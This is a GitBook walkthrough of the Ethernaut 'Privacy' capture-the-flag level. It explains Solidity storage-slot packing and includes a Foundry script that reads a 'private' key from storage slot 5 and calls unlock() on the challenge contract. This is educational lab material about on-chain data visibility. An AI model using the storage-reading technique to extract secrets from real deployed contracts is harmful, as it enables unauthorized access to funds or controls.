Eridian
eridian.xyzx.comGitHub
  • 📖Eridian Docs
  • Ethereum Dev
    • ✏️Ethereum Notes
      • 🎛️Technical Basics
      • 🪧Ethereum Addresses
      • 📚Ethereum State Explained
      • ⛽Gas Fees Explained
    • 🔧Useful Tools
      • ☁️Ethers
      • *️⃣Ethernal
    • 📝Solidity Notes
      • ❔Interview Questions
        • 🟢1. Easy - Interview Questions
        • 🟠2. Medium - Interview Questions
        • 🟡3. Hard - Interview Questions
        • 🔴4. Advanced - Interview Questions
      • 💡Note Ideas
      • ABI
      • abi.encodePacked
      • Abstract Contracts
      • Arrays
      • Casting
      • CEI - Checks, Effects, Interactions
      • Comments (NATSPEC)
      • Constructor
      • Contract Structure & Versions
      • Data - Storage vs Memory
      • Data - Storage Layout
      • Enum
      • Errors (require & revert)
      • Events
      • EVM Opcodes
      • External Contract Interaction
      • 🏗️External Dependencies
      • Functions
      • Function Modifiers
      • If / Else / For / While Loops
      • Inheritance
      • Interfaces
      • Keccak256
      • Library
      • Mappings
      • msg.sender
      • Objects & Types
      • OpenZeppelin
      • Payable
      • Public State Variable vs Function
      • Receive & Fallback
      • Security
      • Self Destruct
      • Send ETH (transfer, send, call)
      • Stack Too Deep
      • Structs
      • Style Guide
      • Time Units
      • Try / Catch
      • Typecasting
      • Using Directive
      • Variables, Consts & Immutable
      • Withdraws
    • ⚒️Foundry Notes
      • 📖Docs & GitHub Pages
      • 🤝Useful Commands
        • 🔨Anvil
        • 🪄Cast
        • 🔥Forge
      • 🧪Tests
        • Cheatcodes
      • 📝Useful Scripts
        • Deploy Contract Using Hex
    • 👾DeFi Challenges
      • 👨‍🚀Ethernaut
        • Ethernaut - Template
        • Level 1 - Fallback ⏺
        • Level 2 - Fallout ⏺
        • Level 3 - Coin Flip ⏺⏺
        • Level 4 - Telephone ⏺
        • Level 5 - Token ⏺⏺
        • Level 6 - Delegation ⏺⏺
        • Level 7 - Force ⏺⏺⏺
        • Level 8 - Vault ⏺⏺
        • Level 9 - King ⏺⏺⏺
        • Level 10 - Re-entrancy ⏺⏺⏺
        • Level 11 - Elevator ⏺⏺
        • Level 12 - Privacy ⏺⏺⏺
        • Level 13 - Gatekeeper 1 ⏺⏺⏺⏺
        • Level 14 - Gatekeeper 2 ⏺⏺⏺
        • Level 15 - Naught Coin ⏺⏺⏺
        • Level 16 - Preservation ⏺⏺⏺⏺
        • Level 17 - Recovery ⏺⏺⏺
        • Level 18 - Magic Number ⏺⏺⏺
        • Level 19 - Alien Codex ⏺⏺⏺⏺
        • Level 20 - Denial ⏺⏺⏺
        • Level 21 - Shop ⏺⏺
        • Level 22 - Dex ⏺⏺
        • Level 23 - Dex Two ⏺⏺
        • Level 24 - Puzzle Wallet ⏺⏺⏺⏺
        • Level 25 - Motorbike ⏺⏺⏺
        • Level 26 - DoubleEntryPoint ⏺⏺
        • Level 27 - Good Samaritan ⏺⏺⏺
        • Level 28 - Gatekeeper 3 ⏺⏺⏺
        • Level 29 - Switch ⏺⏺⏺⏺
        • Level 30 - Higher Order ⏺⏺⏺⏺
        • Level 31 - Stake ⏺⏺⏺
      • 💸Damn Vulnerable DeFi
    • 🔍Auditing
      • 🗞️Exploit Resources
      • 🔧Audit Tools
    • 🤖MEV
  • Infrastructure Docs
    • 💻Hardware
    • 🐧Linux
      • 📖Linux Glossary
      • ⌨️Linux Commands
      • 💾Installation
      • 🏗️Maintenance
      • 🖥️Ubuntu Desktop
      • 🛜ZeroTier
      • 🎞️TMUX
      • 🔵Bluetooth
    • ⛓️Ethereum Clients
      • ⚙️Execution Clients
        • ⛏️Geth
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🐻Erigon
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🧶Besu
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 🤝Beacon Clients
        • 💡Lighthouse
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🪅Teku
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 💎Validator Clients
        • 💡Lighthouse
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • ➕L2 Clients
        • 🔵Base
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 💰MEV Boost
        • 💾Installation
        • 🏗️Maintenance
    • 🚨Alerting and Monitoring
      • 🔥Prometheus
      • 🌡️HealthChecks.io
      • 📟PagerDuty
  • General Dev
    • 💾Git Notes
      • Repos
      • Committing changes
      • Branches
      • Merging & Rebasing
      • PRs
Powered by GitBook
On this page
  • Level Setup
  • Level Contract
  • Exploit
  • Completion Message
  • Notes
Edit on GitHub
  1. Ethereum Dev
  2. DeFi Challenges
  3. Ethernaut

Level 12 - Privacy ⏺⏺⏺

Last updated 8 months ago

Level Setup

The creator of this contract was careful enough to protect the sensitive areas of its storage.

Unlock this contract to beat the level.

Things that might help:

  • Understanding how storage works

  • Understanding how parameter parsing works

  • Understanding how casting works

Tips:

  • Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
    */
}

Exploit

The data is a private state variable, which means it's not accessible to other contracts, but can be read externally by a script.

Storage slots explained:

contract Privacy {
    bool public locked = true;                             // slot 0
    uint256 public ID = block.timestamp;                   // slot 1
    uint8 private flattening = 10;                         // slot 2 (packed)
    uint8 private denomination = 255;                      // slot 2 (packed)
    uint16 private awkwardness = uint16(block.timestamp);  // slot 2 (packed)
    bytes32[3] private data;                               // slot 3, 4, and 5
}
  1. bool public locked: This occupies slot 0. Each state variable takes up a single slot unless it is part of a struct or an array. bool takes 1 byte, but an entire 32-byte slot is allocated for it.

  2. uint256 public ID: This occupies slot 1. uint256 requires 32 bytes (1 full slot).

  3. uint8 private flattening: This will start in slot 2. uint8 only takes 1 byte.

  4. uint8 private denomination: Since uint8 also takes only 1 byte, it is packed into slot 2 along with flattening.

  5. uint16 private awkwardness: uint16 takes 2 bytes. Solidity packs this into slot 2 along with the other uint8 values because they collectively fit within 32 bytes.

    • Slot 2 looks like this (in bytes): flattening (1) + denomination (1) + awkwardness (2) + 28 bytes padding = 32 bytes

  6. bytes32[3] private data: Arrays and structs are always stored in separate slots. The array data has 3 elements of type bytes32, and each bytes32 takes 32 bytes (1 full slot).

    • data[0] is stored in slot 3.

    • data[1] is stored in slot 4.

    • data[2] is stored in slot 5.

Therefore, data[2] is in slot 5 because it is the third element of the bytes32[3] array, and each element of this array occupies its own 32-byte storage slot. The preceding variables occupy slots 0 through 2, with the array data starting at slot 3 and extending to slots 4 and 5 for its elements.

Once found, cast it as bytes16 to truncate the packed zeros.

make anvil-exploit-level-12

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
make holesky-exploit-level-12

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
script/Level12.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

// ================================================================
// │                        LEVEL 12 - PRIVACY                    │
// ================================================================
interface IPrivacy {
    function unlock(bytes16 _key) external;
}

contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        IPrivacy targetContract = IPrivacy(targetContractAddress);

        bytes16 key = bytes16(vm.load(targetContractAddress, bytes32(uint256(5))));

        vm.startBroadcast();
        targetContract.unlock(key);
        vm.stopBroadcast();
    }
}
  1. Submit instance... 🥳

Completion Message

Nothing in the Ethereum blockchain is private. The keyword private is merely an artificial construct of the Solidity language. Tools such as Foundry or Ethers can be used to read anything from storage. It can be tricky to read what you want though, since several optimization rules and techniques are used to compact the storage as much as possible.

Notes

It can't get much more complicated than what was exposed in this level. For more, check out this excellent article by "Darius":

👾
👨‍🚀
How to read Ethereum contract storage
ethernaut/contracts/src/levels/Privacy.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd · OpenZeppelin/ethernautGitHub
The EthernautOpenZeppelin
Logo
ethernaut-openzeppelin-hacks/level_12_Privacy.md at e936301859334383d568a614084917100319205e · nvnx7/ethernaut-openzeppelin-hacksGitHub
Logo
ethernaut-foundry/script/Level12.s.sol at main · EridianAlpha/ethernaut-foundryGitHub
Logo
Logo